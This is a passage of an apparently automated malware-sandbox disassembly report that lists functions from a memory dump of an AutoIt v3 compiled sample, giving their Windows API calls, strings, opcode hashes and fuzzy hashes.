                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID:
                                                                                      • String ID:
                                                                                      • API String ID:
                                                                                      • Opcode ID: fe7661cb0220fcd93e38cca26b6eeaf508c7bc1f46f508298f1786d9fc6f21e8
                                                                                      • Instruction ID: feeda7565fe0828cba9ea914e03755f95d712357ed74b8b7ccd9ed0c24b3dcec
                                                                                      • Opcode Fuzzy Hash: fe7661cb0220fcd93e38cca26b6eeaf508c7bc1f46f508298f1786d9fc6f21e8
                                                                                      • Instruction Fuzzy Hash: 7C12D070904206CFCB24DF54D496AAEBFF1FF5A300F188469D9469B351E335AD81CB91
                                                                                      Function 005AAF50 Relevance: .5, Instructions: 514COMMON
                                                                                      Download Yara Rule
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Exception@8Throwstd::exception::exception
                                                                                      • String ID:
                                                                                      • API String ID: 3728558374-0
                                                                                      • Opcode ID: 6c258f608ef23289c6705529b19c30b183fded023468785b8c211a76a65b7731
                                                                                      • Instruction ID: 70421dcac8079d6ebb7298630e57326e0d04679102e89debf04d68046e0cddc9
                                                                                      • Opcode Fuzzy Hash: 6c258f608ef23289c6705529b19c30b183fded023468785b8c211a76a65b7731
                                                                                      • Instruction Fuzzy Hash: CC02E570A0020ADFDF04DF68D895AAEBFB5FF85300F148469E806DB255EB31DA55CB91
                                                                                      Function 005C02A4 Relevance: .3, Instructions: 345COMMON
                                                                                      Download Yara Rule
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID:
                                                                                      • String ID:
                                                                                      • API String ID:
                                                                                      • Opcode ID: 6bcf19402166b509fafb4c50a64371ef2a93877f8d810bfc08732e8a9195a1a8
                                                                                      • Instruction ID: 7af56f68cc99cad856dc6f6256cde8af26dd5b82a3fb17d8294a7436045e2188
                                                                                      • Opcode Fuzzy Hash: 6bcf19402166b509fafb4c50a64371ef2a93877f8d810bfc08732e8a9195a1a8
                                                                                      • Instruction Fuzzy Hash: C9C1F4322051A34EDF6D4679C87097EBEA07AA1BB131A276DD8B3CB0D5EF20D524D720
                                                                                      Function 005C06D9 Relevance: .3, Instructions: 341COMMON
                                                                                      Download Yara Rule
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID:
                                                                                      • String ID:
                                                                                      • API String ID:
                                                                                      • Opcode ID: 2d76c3bdd49f8e00aad6e71f29a941d673537f809e9b181fbd8d4251c6dfdf40
                                                                                      • Instruction ID: 7db8b08191ee23e2f0c483376518565d769c767e0e9b8102c1f36c1782861496
                                                                                      • Opcode Fuzzy Hash: 2d76c3bdd49f8e00aad6e71f29a941d673537f809e9b181fbd8d4251c6dfdf40
                                                                                      • Instruction Fuzzy Hash: 8DC1E2322051934DDF6D4679C834A3EBEA17AA2BB130A276DD4B2CB4D5EF20D524D720
                                                                                      Function 005BFA57 Relevance: .3, Instructions: 323COMMON
                                                                                      Download Yara Rule
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID:
                                                                                      • String ID:
                                                                                      • API String ID:
                                                                                      • Opcode ID: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
                                                                                      • Instruction ID: dbfc555b7fde86a59058c61c0e7d96c7c24ef5e97637f158c32ec4ee56608f9d
                                                                                      • Opcode Fuzzy Hash: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
                                                                                      • Instruction Fuzzy Hash: 74C1923220909309DF6D4639C8744BEBFA57AA2BB131A077DD4B2CB5D5EF20E564D720
                                                                                      Function 005FA2A9 Relevance: 77.5, APIs: 40, Strings: 4, Instructions: 490filecommemoryCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • DeleteObject.GDI32(00000000), ref: 005FA2FE
                                                                                      • DeleteObject.GDI32(00000000), ref: 005FA310
                                                                                      • DestroyWindow.USER32 ref: 005FA31E
                                                                                      • GetDesktopWindow.USER32 ref: 005FA338
                                                                                      • GetWindowRect.USER32(00000000), ref: 005FA33F
                                                                                      • SetRect.USER32(?,00000000,00000000,000001F4,00000190), ref: 005FA480
                                                                                      • AdjustWindowRectEx.USER32(?,88C00000,00000000,00000002), ref: 005FA490
                                                                                      • CreateWindowExW.USER32(00000002,AutoIt v3,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 005FA4D8
                                                                                      • GetClientRect.USER32(00000000,?), ref: 005FA4E4
                                                                                      • CreateWindowExW.USER32(00000000,static,00000000,5000000E,00000000,00000000,?,?,00000000,00000000,00000000), ref: 005FA51E
                                                                                      • CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 005FA540
                                                                                      • GetFileSize.KERNEL32(00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 005FA553
                                                                                      • GlobalAlloc.KERNEL32(00000002,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 005FA55E
                                                                                      • GlobalLock.KERNEL32(00000000), ref: 005FA567
                                                                                      • ReadFile.KERNEL32(00000000,00000000,00000000,00000190,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 005FA576
                                                                                      • GlobalUnlock.KERNEL32(00000000), ref: 005FA57F
                                                                                      • CloseHandle.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 005FA586
                                                                                      • GlobalFree.KERNEL32(00000000), ref: 005FA591
                                                                                      • CreateStreamOnHGlobal.OLE32(00000000,00000001,88C00000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 005FA5A3
                                                                                      • OleLoadPicture.OLEAUT32(88C00000,00000000,00000000,0062D9BC,00000000), ref: 005FA5B9
                                                                                      • GlobalFree.KERNEL32(00000000), ref: 005FA5C9
                                                                                      • CopyImage.USER32(000001F4,00000000,00000000,00000000,00002000), ref: 005FA5EF
                                                                                      • SendMessageW.USER32(?,00000172,00000000,000001F4), ref: 005FA60E
                                                                                      • SetWindowPos.USER32(?,00000000,00000000,00000000,?,?,00000020,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 005FA630
                                                                                      • ShowWindow.USER32(00000004,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 005FA81D
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Window$Global$CreateRect$File$DeleteFreeObject$AdjustAllocClientCloseCopyDesktopDestroyHandleImageLoadLockMessagePictureReadSendShowSizeStreamUnlock
                                                                                      • String ID: $AutoIt v3$DISPLAY$static
                                                                                      • API String ID: 2211948467-2373415609
                                                                                      • Opcode ID: 13979f394122c7d32cd4bb38c98f4e3749f6f46a73de1fbdd7c0a521a35fc1b3
                                                                                      • Instruction ID: 95c992978693fb5b448a0fb57989eec86c8924c20d574d44381e861fa9b0f7d3
                                                                                      • Opcode Fuzzy Hash: 13979f394122c7d32cd4bb38c98f4e3749f6f46a73de1fbdd7c0a521a35fc1b3
                                                                                      • Instruction Fuzzy Hash: DE027D75900119AFDB14DFA4CC89EAE7FBAFF49310F048158FA19AB2A0D7749D41CB61
                                                                                      Function 0060D285 Relevance: 49.8, APIs: 33, Instructions: 260COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • SetTextColor.GDI32(?,00000000), ref: 0060D2DB
                                                                                      • GetSysColorBrush.USER32(0000000F), ref: 0060D30C
                                                                                      • GetSysColor.USER32(0000000F), ref: 0060D318
                                                                                      • SetBkColor.GDI32(?,000000FF), ref: 0060D332
                                                                                      • SelectObject.GDI32(?,00000000), ref: 0060D341
                                                                                      • InflateRect.USER32(?,000000FF,000000FF), ref: 0060D36C
                                                                                      • GetSysColor.USER32(00000010), ref: 0060D374
                                                                                      • CreateSolidBrush.GDI32(00000000), ref: 0060D37B
                                                                                      • FrameRect.USER32(?,?,00000000), ref: 0060D38A
                                                                                      • DeleteObject.GDI32(00000000), ref: 0060D391
                                                                                      • InflateRect.USER32(?,000000FE,000000FE), ref: 0060D3DC
                                                                                      • FillRect.USER32(?,?,00000000), ref: 0060D40E
                                                                                      • GetWindowLongW.USER32(?,000000F0), ref: 0060D439
                                                                                        • Part of subcall function 0060D575: GetSysColor.USER32(00000012), ref: 0060D5AE
                                                                                        • Part of subcall function 0060D575: SetTextColor.GDI32(?,?), ref: 0060D5B2
                                                                                        • Part of subcall function 0060D575: GetSysColorBrush.USER32(0000000F), ref: 0060D5C8
                                                                                        • Part of subcall function 0060D575: GetSysColor.USER32(0000000F), ref: 0060D5D3
                                                                                        • Part of subcall function 0060D575: GetSysColor.USER32(00000011), ref: 0060D5F0
                                                                                        • Part of subcall function 0060D575: CreatePen.GDI32(00000000,00000001,00743C00), ref: 0060D5FE
                                                                                        • Part of subcall function 0060D575: SelectObject.GDI32(?,00000000), ref: 0060D60F
                                                                                        • Part of subcall function 0060D575: SetBkColor.GDI32(?,00000000), ref: 0060D618
                                                                                        • Part of subcall function 0060D575: SelectObject.GDI32(?,?), ref: 0060D625
                                                                                        • Part of subcall function 0060D575: InflateRect.USER32(?,000000FF,000000FF), ref: 0060D644
                                                                                        • Part of subcall function 0060D575: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 0060D65B
                                                                                        • Part of subcall function 0060D575: GetWindowLongW.USER32(00000000,000000F0), ref: 0060D670
                                                                                        • Part of subcall function 0060D575: SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 0060D698
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameMessageRoundSendSolid
                                                                                      • String ID:
                                                                                      • API String ID: 3521893082-0
                                                                                      • Opcode ID: 14befece454bfa75d5ad714c95bef4d16a8a73056b0e78b61eb9031805a03cca
                                                                                      • Instruction ID: a2b82ef0adf1c76e4576c0e879d0a38a6e486a3704ecc918dde189f9f6feac99
                                                                                      • Opcode Fuzzy Hash: 14befece454bfa75d5ad714c95bef4d16a8a73056b0e78b61eb9031805a03cca
                                                                                      • Instruction Fuzzy Hash: F791A271408701BFCB249F64DC08EAB7BAAFF89325F101B19F962A61E0D771D946CB52
                                                                                      Function 005BB8FD Relevance: 49.5, APIs: 27, Strings: 1, Instructions: 491windowCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • DestroyWindow.USER32 ref: 005BB98B
                                                                                      • DeleteObject.GDI32(00000000), ref: 005BB9CD
                                                                                      • DeleteObject.GDI32(00000000), ref: 005BB9D8
                                                                                      • DestroyIcon.USER32(00000000), ref: 005BB9E3
                                                                                      • DestroyWindow.USER32(00000000), ref: 005BB9EE
                                                                                      • SendMessageW.USER32(?,00001308,?,00000000), ref: 0061D2AA
                                                                                      • ImageList_Remove.COMCTL32(?,000000FF,?), ref: 0061D2E3
                                                                                      • MoveWindow.USER32(00000000,?,?,?,?,00000000), ref: 0061D711
                                                                                        • Part of subcall function 005BB9FF: InvalidateRect.USER32(?,00000000,00000001,?,?,?,005BB759,?,00000000,?,?,?,?,005BB72B,00000000,?), ref: 005BBA58
                                                                                      • SendMessageW.USER32 ref: 0061D758
                                                                                      • SendMessageW.USER32(?,00001008,000000FF,00000000), ref: 0061D76F
                                                                                      • ImageList_Destroy.COMCTL32(00000000), ref: 0061D785
                                                                                      • ImageList_Destroy.COMCTL32(00000000), ref: 0061D790
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Destroy$ImageList_MessageSendWindow$DeleteObject$IconInvalidateMoveRectRemove
                                                                                      • String ID: 0
                                                                                      • API String ID: 464785882-4108050209
                                                                                      • Opcode ID: ca9cccf635e2c772f23c735e47b0d855a2022ab1677609eacc15eda88e0a7c58
                                                                                      • Instruction ID: 83cb026bbc184034fbbe3b38a498798adc7638122f92a5dacf1306bf7b477c34
                                                                                      • Opcode Fuzzy Hash: ca9cccf635e2c772f23c735e47b0d855a2022ab1677609eacc15eda88e0a7c58
                                                                                      • Instruction Fuzzy Hash: 69127E70604601DFDB25CF24C888BE9BBE6FF45304F184569E999CB662C7B1EC86CB91
                                                                                      Function 005EDBC4 Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 187COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • SetErrorMode.KERNEL32(00000001), ref: 005EDBD6
                                                                                      • GetDriveTypeW.KERNEL32(?,0063DC54,?,\\.\,0063DC00), ref: 005EDCC3
                                                                                      • SetErrorMode.KERNEL32(00000000,0063DC54,?,\\.\,0063DC00), ref: 005EDE29
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: ErrorMode$DriveType
                                                                                      • String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
                                                                                      • API String ID: 2907320926-4222207086
                                                                                      • Opcode ID: 6ab8bfa88f46bad98971bb19b2fe3503b6219a445fe863180857bbbcbd2949f4
                                                                                      • Instruction ID: f5503ddd50f1a2265a30ddf0b11f051edf386885df4ff1e96ce4d967272b6848
                                                                                      • Opcode Fuzzy Hash: 6ab8bfa88f46bad98971bb19b2fe3503b6219a445fe863180857bbbcbd2949f4
                                                                                      • Instruction Fuzzy Hash: 0951D630204392DB8318DF12CE85869FFB2FBA5B81F254C19F8C79B291DB60D949D662
                                                                                      Function 005ACC24 Relevance: 44.0, APIs: 12, Strings: 13, Instructions: 267COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: __wcsnicmp
                                                                                      • String ID: #OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#pragma compile$#requireadmin$Bad directive syntax error$Cannot parse #include$Unterminated group of comments
                                                                                      • API String ID: 1038674560-86951937
                                                                                      • Opcode ID: 5693d3156bb9fc477c1da19daaf3f0b6a59e758afe0104908836eba410b0d4f0
                                                                                      • Instruction ID: b4edee48142d1141d8934e460aa6266d9e950c6264b195cc0d2180b4717c4d7c
                                                                                      • Opcode Fuzzy Hash: 5693d3156bb9fc477c1da19daaf3f0b6a59e758afe0104908836eba410b0d4f0
                                                                                      • Instruction Fuzzy Hash: 62810930640207BFDB14ABA4DC96FFF7F6ABF56700F044029F905AA2C2EB60D955C6A5
                                                                                      Function 0060C6E9 Relevance: 42.4, APIs: 23, Strings: 1, Instructions: 447windowCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013,?,?,?), ref: 0060C788
                                                                                      • SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 0060C83E
                                                                                      • SendMessageW.USER32(?,00001102,00000002,?), ref: 0060C859
                                                                                      • SendMessageW.USER32(?,000000F1,?,00000000), ref: 0060CB15
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: MessageSend$Window
                                                                                      • String ID: 0
                                                                                      • API String ID: 2326795674-4108050209
                                                                                      • Opcode ID: a450877e9dba3ff682324d03259ccbd6af86d8587a24d188bbb25720dcaf00df
                                                                                      • Instruction ID: d40e11a721d032223af09059205e9c4c234bb5dfc5560a0d8456f98e98c222a9
                                                                                      • Opcode Fuzzy Hash: a450877e9dba3ff682324d03259ccbd6af86d8587a24d188bbb25720dcaf00df
                                                                                      • Instruction Fuzzy Hash: 44F1C271284301AFE7298F24C845BABBBE6FF49364F084619F599D62E1C774C841DB91
                                                                                      Function 0060638D Relevance: 42.4, APIs: 1, Strings: 23, Instructions: 352COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • CharUpperBuffW.USER32(?,?,0063DC00), ref: 00606449
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: BuffCharUpper
                                                                                      • String ID: ADDSTRING$CHECK$CURRENTTAB$DELSTRING$EDITPASTE$FINDSTRING$GETCURRENTCOL$GETCURRENTLINE$GETCURRENTSELECTION$GETLINE$GETLINECOUNT$GETSELECTED$HIDEDROPDOWN$ISCHECKED$ISENABLED$ISVISIBLE$SELECTSTRING$SENDCOMMANDID$SETCURRENTSELECTION$SHOWDROPDOWN$TABLEFT$TABRIGHT$UNCHECK
                                                                                      • API String ID: 3964851224-45149045
                                                                                      • Opcode ID: e26fd391840f7fe7e512df825a42f0dea4f9d2fb44a34c235d71022d894b56cb
                                                                                      • Instruction ID: 299185ef268ac17fd9ee9b93aeefd289f3c0cd501483dc413e30d2f653925eff
                                                                                      • Opcode Fuzzy Hash: e26fd391840f7fe7e512df825a42f0dea4f9d2fb44a34c235d71022d894b56cb
                                                                                      • Instruction Fuzzy Hash: 11C17B302442468BCB08EF14C555AAF7FA7BF95344F04485AF8865B3E2DB21ED5BCB92
                                                                                      Function 0060D575 Relevance: 39.2, APIs: 26, Instructions: 186windowCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • GetSysColor.USER32(00000012), ref: 0060D5AE
                                                                                      • SetTextColor.GDI32(?,?), ref: 0060D5B2
                                                                                      • GetSysColorBrush.USER32(0000000F), ref: 0060D5C8
                                                                                      • GetSysColor.USER32(0000000F), ref: 0060D5D3
                                                                                      • CreateSolidBrush.GDI32(?), ref: 0060D5D8
                                                                                      • GetSysColor.USER32(00000011), ref: 0060D5F0
                                                                                      • CreatePen.GDI32(00000000,00000001,00743C00), ref: 0060D5FE
                                                                                      • SelectObject.GDI32(?,00000000), ref: 0060D60F
                                                                                      • SetBkColor.GDI32(?,00000000), ref: 0060D618
                                                                                      • SelectObject.GDI32(?,?), ref: 0060D625
                                                                                      • InflateRect.USER32(?,000000FF,000000FF), ref: 0060D644
                                                                                      • RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 0060D65B
                                                                                      • GetWindowLongW.USER32(00000000,000000F0), ref: 0060D670
                                                                                      • SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 0060D698
                                                                                      • GetWindowTextW.USER32(00000000,00000000,00000001), ref: 0060D6BF
                                                                                      • InflateRect.USER32(?,000000FD,000000FD), ref: 0060D6DD
                                                                                      • DrawFocusRect.USER32(?,?), ref: 0060D6E8
                                                                                      • GetSysColor.USER32(00000011), ref: 0060D6F6
                                                                                      • SetTextColor.GDI32(?,00000000), ref: 0060D6FE
                                                                                      • DrawTextW.USER32(?,00000000,000000FF,?,?), ref: 0060D712
                                                                                      • SelectObject.GDI32(?,0060D2A5), ref: 0060D729
                                                                                      • DeleteObject.GDI32(?), ref: 0060D734
                                                                                      • SelectObject.GDI32(?,?), ref: 0060D73A
                                                                                      • DeleteObject.GDI32(?), ref: 0060D73F
                                                                                      • SetTextColor.GDI32(?,?), ref: 0060D745
                                                                                      • SetBkColor.GDI32(?,?), ref: 0060D74F
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
                                                                                      • String ID:
                                                                                      • API String ID: 1996641542-0
                                                                                      • Opcode ID: 787bd12d0e83625f451bd6ced3c87536600b7e84e8902453e939d7f1affc0919
                                                                                      • Instruction ID: 15f476b566f61b4f3e9934bc4ec8bfa3c77add89fbc39d87e79bfaf419b7b2a9
                                                                                      • Opcode Fuzzy Hash: 787bd12d0e83625f451bd6ced3c87536600b7e84e8902453e939d7f1affc0919
